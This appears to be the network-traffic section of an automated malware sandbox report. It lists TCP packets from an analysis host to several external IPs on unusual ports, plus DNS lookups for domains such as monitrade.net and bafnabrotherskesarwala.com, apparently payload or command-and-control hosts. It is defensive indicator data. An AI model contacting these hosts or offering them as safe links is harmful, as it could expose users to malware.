Jan 20, 2021 16:15:29.330748081 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.348758936 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.406722069 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.406941891 CET	49303	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:29.419631958 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:29.430402994 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.430428982 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.430737019 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.431715965 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.547204018 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:29.547875881 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:29.553921938 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.589863062 CET	3786	49303	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:29.621222973 CET	3786	49303	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:29.621253014 CET	3786	49303	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:29.621786118 CET	49303	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:29.639575958 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.697499990 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.707778931 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.707799911 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.708798885 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.788184881 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.791657925 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:29.832315922 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.919122934 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:29.940860033 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:29.940881968 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:29.941838026 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.077431917 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:30.124378920 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:30.124902010 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:30.132018089 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:30.132045031 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:30.132859945 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:30.262928009 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:30.264938116 CET	49303	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:30.276078939 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.281343937 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.285712004 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:30.285840034 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:30.292099953 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.379818916 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.382400990 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.410418987 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.410510063 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.415668011 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.415807962 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.447685003 CET	3786	49303	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:30.447765112 CET	49303	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:30.451304913 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.451423883 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.451981068 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.461652994 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.461749077 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.462512016 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.510019064 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.510138988 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.511115074 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.543353081 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.543477058 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.548772097 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.548909903 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.549577951 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.557883024 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:30.574574947 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:30.574645042 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:30.583709955 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.614083052 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:30.620783091 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.627541065 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.627563953 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.627645016 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.631957054 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.638701916 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.638731956 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.638741016 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.638906956 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.641278028 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.646966934 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.660327911 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.660348892 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.660437107 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.660491943 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.668189049 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.670705080 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.670730114 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.718221903 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.724971056 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.725011110 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.725168943 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.734832048 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.802577019 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.802721024 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.809914112 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.810504913 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.810602903 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.812366962 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.812557936 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.816463947 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.816968918 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.817079067 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.823194981 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.823295116 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.828607082 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.828777075 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.863080025 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:30.903708935 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.904253960 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.904341936 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.910805941 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.910955906 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.924573898 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.924597025 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.924638987 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.924808025 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.927050114 CET	49305	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.940013885 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.940087080 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:30.980870008 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:30.992795944 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.992825985 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.992986917 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:30.997433901 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.997457981 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:30.997545958 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.038892031 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.054229021 CET	443	49305	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:31.067553997 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:31.067580938 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:31.080379963 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.080404043 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.080518961 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.162709951 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.166263103 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.251617908 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.322251081 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:31.322274923 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:31.322364092 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:31.322412968 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:31.328655005 CET	49309	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:31.331772089 CET	5353	49310	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:31.332721949 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.334306002 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.449656963 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.454904079 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:31.454926968 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:31.454989910 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.455001116 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.457304955 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.458645105 CET	443	49309	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:31.482757092 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.482779026 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.482841015 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.485078096 CET	49306	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.487448931 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.487468958 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.487562895 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.490351915 CET	49307	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.563683987 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.574372053 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.574395895 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.574470997 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.579121113 CET	49308	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.596889019 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.605355978 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.627736092 CET	5353	49310	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:31.637965918 CET	5353	49310	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:31.637998104 CET	5353	49310	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:31.638205051 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.649698019 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.653898001 CET	3388	49306	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.659928083 CET	3388	49307	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.692555904 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.732752085 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.732893944 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.734293938 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.739459991 CET	5353	49311	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:31.739589930 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.740700960 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.745585918 CET	5353	49304	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:31.747853041 CET	3388	49308	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.780035973 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:31.780126095 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.782150030 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.788626909 CET	3786	49314	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:31.788724899 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.790534019 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.875533104 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:31.875669003 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.877176046 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.903194904 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.910008907 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.910034895 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:31.910104990 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.910947084 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.923963070 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:31.947104931 CET	5353	49310	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:31.947292089 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.951087952 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.951247931 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:31.965878010 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:31.973228931 CET	3786	49314	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:31.983139992 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:31.983174086 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:31.983334064 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:31.999423981 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.001462936 CET	3786	49314	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.001491070 CET	3786	49314	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.001557112 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.008956909 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.030597925 CET	5353	49311	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:32.040879011 CET	5353	49311	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:32.040901899 CET	5353	49311	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:32.041039944 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:32.048882961 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:32.059947968 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.077992916 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.078020096 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.078068972 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.078859091 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.083852053 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.094191074 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:32.094769955 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:32.094822884 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:32.096237898 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:32.096374989 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:32.188098907 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.188180923 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.191340923 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.191474915 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.197663069 CET	3786	49314	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.197762966 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.201113939 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.201215982 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.244216919 CET	5353	49310	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:32.244330883 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:32.265161991 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:32.265202999 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:32.265281916 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:32.265290976 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:32.278964043 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.279129028 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.282116890 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.282233000 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.345798969 CET	5353	49311	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:32.345911026 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:32.349484921 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:32.349625111 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:32.374269962 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.374358892 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.384150982 CET	3786	49314	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.384241104 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.414287090 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.434273005 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:32.464948893 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.465060949 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.504749060 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.537070990 CET	5353	49310	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:32.558274031 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.567019939 CET	3786	49314	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.642525911 CET	5353	49311	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:32.642585039 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:32.653620005 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.750727892 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:32.750760078 CET	3388	49312	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:32.750811100 CET	49312	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:32.924299955 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.924319983 CET	3786	49313	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.924351931 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.924374104 CET	49313	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.932970047 CET	5353	49311	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:32.937870979 CET	3786	49314	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.937922001 CET	3786	49314	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:32.937963963 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:32.938797951 CET	49314	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:33.026283979 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:33.026319027 CET	3786	49315	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:33.026520014 CET	49315	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:33.117117882 CET	5353	49310	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:33.117144108 CET	5353	49310	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:33.122200012 CET	49310	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:33.520426035 CET	5353	49311	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:33.520448923 CET	5353	49311	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:33.526163101 CET	49311	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:37.706933022 CET	49166	80	192.168.2.22	103.11.153.223

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 20, 2021 16:13:16.112600088 CET	52197	53	192.168.2.22	8.8.8.8
Jan 20, 2021 16:13:16.160547018 CET	53	52197	8.8.8.8	192.168.2.22
Jan 20, 2021 16:13:23.137412071 CET	53099	53	192.168.2.22	8.8.8.8
Jan 20, 2021 16:13:23.556890965 CET	53	53099	8.8.8.8	192.168.2.22
Jan 20, 2021 16:13:26.432528019 CET	52838	53	192.168.2.22	8.8.8.8
Jan 20, 2021 16:13:26.541686058 CET	53	52838	8.8.8.8	192.168.2.22
Jan 20, 2021 16:13:28.072592974 CET	61200	53	192.168.2.22	8.8.8.8
Jan 20, 2021 16:13:28.130048990 CET	53	61200	8.8.8.8	192.168.2.22
Jan 20, 2021 16:13:30.252094984 CET	49548	53	192.168.2.22	8.8.8.8
Jan 20, 2021 16:13:30.332861900 CET	53	49548	8.8.8.8	192.168.2.22
Jan 20, 2021 16:14:24.282042027 CET	55627	53	192.168.2.22	8.8.8.8
Jan 20, 2021 16:14:24.340492964 CET	53	55627	8.8.8.8	192.168.2.22
Jan 20, 2021 16:14:24.349452019 CET	56009	53	192.168.2.22	8.8.8.8
Jan 20, 2021 16:14:24.409580946 CET	53	56009	8.8.8.8	192.168.2.22
Jan 20, 2021 16:14:29.059999943 CET	61865	53	192.168.2.22	8.8.8.8
Jan 20, 2021 16:14:29.116596937 CET	53	61865	8.8.8.8	192.168.2.22
Jan 20, 2021 16:14:31.766627073 CET	55171	53	192.168.2.22	8.8.8.8
Jan 20, 2021 16:14:31.875066042 CET	53	55171	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 20, 2021 16:13:16.112600088 CET	192.168.2.22	8.8.8.8	0xccae	Standard query (0)	monitrade.net	A (IP address)	IN (0x0001)
Jan 20, 2021 16:13:23.137412071 CET	192.168.2.22	8.8.8.8	0x3dfe	Standard query (0)	bafnabrotherskesarwala.com	A (IP address)	IN (0x0001)
Jan 20, 2021 16:13:26.432528019 CET	192.168.2.22	8.8.8.8	0x315e	Standard query (0)	artec.com.tr	A (IP address)	IN (0x0001)
Jan 20, 2021 16:13:28.072592974 CET	192.168.2.22	8.8.8.8	0xa4ce	Standard query (0)	www.gastronauts.asia	A (IP address)	IN (0x0001)
Jan 20, 2021 16:13:30.252094984 CET	192.168.2.22	8.8.8.8	0x7e45	Standard query (0)	laureys.be	A (IP address)	IN (0x0001)
Jan 20, 2021 16:14:29.059999943 CET	192.168.2.22	8.8.8.8	0x6029	Standard query (0)	cms.ivpr.org	A (IP address)	IN (0x0001)
Jan 20, 2021 16:14:31.766627073 CET	192.168.2.22	8.8.8.8	0x762a	Standard query (0)	salaodigitalautomovel.pt.deve.pt	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 20, 2021 16:13:16.160547018 CET	8.8.8.8	192.168.2.22	0xccae	No error (0)	monitrade.net		192.185.147.185	A (IP address)	IN (0x0001)
Jan 20, 2021 16:13:23.556890965 CET	8.8.8.8	192.168.2.22	0x3dfe	No error (0)	bafnabrotherskesarwala.com		103.11.153.223	A (IP address)	IN (0x0001)
Jan 20, 2021 16:13:26.541686058 CET	8.8.8.8	192.168.2.22	0x315e	No error (0)	artec.com.tr		46.28.239.13	A (IP address)	IN (0x0001)
Jan 20, 2021 16:13:28.130048990 CET	8.8.8.8	192.168.2.22	0xa4ce	No error (0)	www.gastronauts.asia	gastronauts.asia		CNAME (Canonical name)	IN (0x0001)
Jan 20, 2021 16:13:28.130048990 CET	8.8.8.8	192.168.2.22	0xa4ce	No error (0)	gastronauts.asia		132.148.96.144	A (IP address)	IN (0x0001)
Jan 20, 2021 16:13:30.332861900 CET	8.8.8.8	192.168.2.22	0x7e45	No error (0)	laureys.be		85.17.252.207	A (IP address)	IN (0x0001)
Jan 20, 2021 16:14:29.116596937 CET	8.8.8.8	192.168.2.22	0x6029	No error (0)	cms.ivpr.org		64.37.52.138	A (IP address)	IN (0x0001)
Jan 20, 2021 16:14:31.875066042 CET	8.8.8.8	192.168.2.22	0x762a	No error (0)	salaodigitalautomovel.pt.deve.pt		185.32.190.115	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

monitrade.net

bafnabrotherskesarwala.com

artec.com.tr

